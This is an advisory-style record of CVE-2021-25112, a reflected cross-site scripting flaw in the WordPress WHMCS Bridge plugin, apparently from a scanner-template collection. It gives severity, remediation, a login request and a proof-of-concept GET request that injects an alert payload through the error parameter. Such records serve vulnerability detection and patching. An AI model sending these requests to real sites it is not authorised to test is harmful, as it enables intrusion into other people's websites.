| Title | WordPress WHMCS Bridge <6.4b - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05226 |
| CVE ID | CVE-2021-25112 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve whmcs xss wpscan wordpress wp-plugin wp authenticated i-plugins vuln |
WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=hkZ8Gz&pwd=7tDKcm&wp-submit=Log+In&testcookie=1
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25112.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25112.pcap
N/AN/A